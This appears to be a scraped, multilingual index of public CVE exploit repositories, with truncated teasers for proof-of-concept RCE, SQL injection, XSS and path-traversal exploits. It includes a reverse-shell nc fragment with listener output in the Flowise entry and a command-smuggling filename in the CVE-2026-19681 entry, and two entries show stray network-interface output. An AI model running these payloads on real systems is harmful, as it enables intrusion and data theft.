CVE-2025-6586

Download Plugin 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo validlft forever preferredlft forever inet6 ::1/128 scope host validlft forever preferredlft forever 2: eth0: mtu 1500 qdisc...

CVE-2024-13869

CVE-2024-13869 Migração,Backup, Staging – WPvivid 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo validlft forever preferredlft forever inet6 ::1/128 scope host validlft forever preferredlft...

CVE-2018-7691

CVE-2018-7691 Die SSC REST API enthält Schwachstellen bezüglich Insecure Direct Object Reference IDOR, die authentifizierten Benutzern Zugriff auf beliebige Details der lokalen und LDAP-Benutzer über die POST-Methode und auf beliebige Details der Fortify-Projekte anderer Benutzer über die...

CVE-2022-24715

Icinga Web 2 - Esecuzione remota di codice autenticata 2.8.6, 2.9.6, 2.10 Esecuzione remota di comandi Reverse shell Utilizzo root@kitploit: usage: exploit.py -h -u URL -U USER -P PASSWORD -i IP -p PORT Welcome. options: -h, --help show this help message and exit -u URL, --url URL Insert URL...

CVE-2025-59528-Flowise-RCE

CVE-2025-59528-Flowise-RCE PoC di RCE autenticato per Flowise versione &1|nc 10.10.15.200 443 /tmp/f' Controlla il listener e dovrebbe funzionare: root@kitploit: └─$ nc -lvnp 443 listening on any 443 ... connect to 10.10.15.200 from UNKNOWN 10.129.64.221 43393 sh: can't access tty; job control...

roundcube-cve-2025-49113-lab

HAFTUNGSAUSSCHLUSS: Nur für Bildungszwecke Roundcube Webmail RCE – CVE-2025-49113 Lab Dieses Repository dokumentiert meine schrittweise Ausnutzung von Roundcube Webmail CVE-2025-49113 in einer kontrollierten Laborumgebung, um das in /secret.txt gespeicherte Geheimnis zu erlangen. ⚠️...

CVE-2024-51482

CVE-2024-51482 — Iniezione SQL Cieca Basata sul Tempo in ZoneMinder Un exploit proof-of-concept per CVE-2024-51482 , una vulnerabilità di iniezione SQL cieca basata sul tempo e autenticata in ZoneMinder v1.37. ≤ 1.37.64. Lo script estrae nomi utente e hash delle password dalla tabella zm.Users...

CVE-2021-40870

CVE-2021-40870 Caricamento senza restrizioni di file con tipo pericoloso in Aviatrix consente a un utente autenticato di eseguire codice arbitrario...

POC-CVE-2026-19681

CVE-2026-19681 — Befehlsinjektion in der Verarbeitung von Datei-Uploads authentifiziert Status: BESTÄTIGT in einer 6.7.2-14.el9-Lab-Umgebung 2026-08-20. Über POST /rest/file/upload wurde ein präparierter Dateiname p;sleep$IFS20;-EvvfJk eingebracht das Kontext-Präfix trägt die Metazeichen;...

CVE-2012-2982-Exploit-Script

CVE-2012-2982-Exploit-Script Ein kurzes und einfaches Exploit-Skript für die CVE-2012-2982 authentifizierte RCE-Schwachstelle im /file/show.cgi/bin-Endpunkt. Webmin RCE Exploit — CVE-2012-2982 Dieses Repository enthält einen Python-Proof-of-Concept-Exploit für Webmin = 1.580, der eine bekannte...

CVE-2026-38526

CVE-2026-38526 - Krayin CRM RCE Descrizione Script PoC per la vulnerabilità critica in Krayin CRM v2.2.x che consente RCE autenticato tramite upload di file senza restrizioni. Utilizzo root@kitploit: Web shell python3 exploit.py -u http://target.com -e [email protected] -p password123 Revers...

CVE-2025-68999-POC

CVE-2025-68999 Happy Addons for Elementor = 3.20.4 — Iniezione SQL di secondo ordine autenticata Contributor+...

CVE-2026-50979

CVE-2026-50979: Authentifizierte Remote-Code-Ausführung in oPanel Überblick CVE-ID: CVE-2026-50979 Produkt: oPanel Betroffene Versionen: v1.19.50 und früher Schwachstellentyp: Authentifizierte Befehlsinjektion / Remote-Code-Ausführung RCE Verwundbare Komponente: /advanced/curl-Endpunkt Schweregra...

msf-cve-2024-46987

MSF-CVE-2024-46987 Modulo Metasploit per sfruttare CVE-2024-46987 - una vulnerabilità di path traversal autenticata in Camaleon CMS versioni = 2.8.0 e 2.9.0 Basato su questa POC di Goultarde...

CVE-2025-4796

CVE-2025-4796 eventin e atualizar o e-mail do palestrante para um e-mail que eles controlam. Então o atacante pode usar a redefinição de senha do WordPress para assumir a conta do administrador. requisitos: python 3.8 ou superior requests instalar requests: pip install requests uso execute o scri...

CVE-2022-31301

CVE-2022-31301 Haraj Script 3.7 - Post-Anzeigen: Authentifiziertes gespeichertes XSS Exploit-Titel: Haraj Script 3.7 - Authentifiziertes gespeichertes XSS Datum: 2022-06-13 CVE: CVE-2022-31301 Exploit-Autor: Abdulaziz Saad @b4zb0z Anbieter-Startseite: https://angtech.org/ Software-Link:...

CVE-2022-31300

CVE-2022-31300 Haraj Script 3.7 - Sezione DM XSS Memorizzato Autenticato Titolo Exploit: Haraj Script 3.7 - XSS Memorizzato Autenticato Data: 2022-06-13 CVE: CVE-2022-31300 Autore Exploit: Abdulaziz Saad @b4zb0z Homepage del Venditore: https://angtech.org/ Link del Software:...

WordPress Gutenverse – WordPress Blocks, Page Builder & Site Editor plugin <= 4.0.2 - Authenticated (Contributor+) Stored Cross-Site Scripting vulnerability

Authenticated Contributor+ Stored Cross-Site Scripting vulnerability discovered by Wordfence PRISM in WordPress Plugin Gutenverse versions = 4.0.2...

CVE-2026-75574

The Grav Email plugin getgrav/grav-plugin-email before 4.2.2 renders page-editor-controlled Email action parameters as unsandboxed Twig templates. An authenticated remote user with only api.access and api.pages.write permissions can place a Twig expression in header.form.process.email.body, publi...

CVE-2026-72697

Grav CMS before 2.0.16 contains a path traversal vulnerability in the mediadirectory Twig function that fails to validate filesystem paths, allowing authenticated users to enumerate and access files outside intended scope. Attackers with page authoring privileges can supply arbitrary filesystem...